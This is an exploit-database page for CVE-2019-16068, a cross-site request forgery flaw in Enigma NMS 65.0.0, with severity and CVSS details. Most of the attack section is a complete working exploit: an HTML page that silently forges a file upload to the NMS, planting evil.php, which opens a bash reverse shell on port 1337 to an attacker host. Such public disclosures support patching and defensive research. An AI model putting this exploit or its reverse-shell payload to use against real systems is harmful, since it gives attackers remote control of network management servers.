Exploitalert - Database of Exploits

Enigma NMS 65.0.0 Cross-Site Request Forgery

CVE	Category	Price	Severity
CVE-2019-16068	CWE-352	$500	Medium

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-09-12

CPE
cpe:cpe:/a:enigma:nms:6.5.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019090093

Enigma NMS 65.0.0 Cross-Site Request Forgery

#--------------------------------------------------------------------# # Exploit Title: Enigma NMS Cross-Site Request Forgery (CSRF) # # Date: 21 July 2019 # # Author: Mark Cross (@xerubus | mogozobo.com) # # Vendor: NETSAS Pty Ltd # # Vendor Homepage: https://www.netsas.com.au/ # # Software Link: https://www.netsas.com.au/enigma-nms-introduction/ # # Version: Enigma NMS 65.0.0 # # CVE-IDs: CVE-2019-16068 # # Full write-up: https://www.mogozobo.com/?p=3647 # #--------------------------------------------------------------------# _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= Enigma CSRF by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus The following CSRF will create a PHP file for executing a reverse shell on port 1337 via the user upload functionality within the NMS web application. <html> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/<enigma_nms_ipaddr>\/cgi-bin\/protected\/manage_files.cgi", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------208051173310446317141640314495"); xhr.withCredentials = true; var body = "-----------------------------208051173310446317141640314495\r\n" + "Content-Disposition: form-data; name=\"action\"\r\n" + "\r\n" + "system_upgrade\r\n" + "-----------------------------208051173310446317141640314495\r\n" + "Content-Disposition: form-data; name=\"action_aux\"\r\n" + "\r\n" + "upload_file_complete\r\n" + "-----------------------------208051173310446317141640314495\r\n" + "Content-Disposition: form-data; name=\"upfile\"; filename=\"evil.php\"\r\n" + "Content-Type: application/x-php\r\n" + "\r\n" + "\x3c?php\n" + "\n" + "exec(\"/bin/bash -c \'bash -i \x3e& /dev/tcp/<attacking_host_ipaddr>/1337 0\x3e&1\'\");\n" + "\n" + "?\x3e\n" + "\r\n" + "-----------------------------208051173310446317141640314495\r\n" + "Content-Disposition: form-data; name=\"upfile_name\"\r\n" + "\r\n" + "evil.php\r\n" + "-----------------------------208051173310446317141640314495--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); window.location='http://<enigma_nms_ipaddr>/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser'; </script> <body onload="submitRequest();" > </body> </html>

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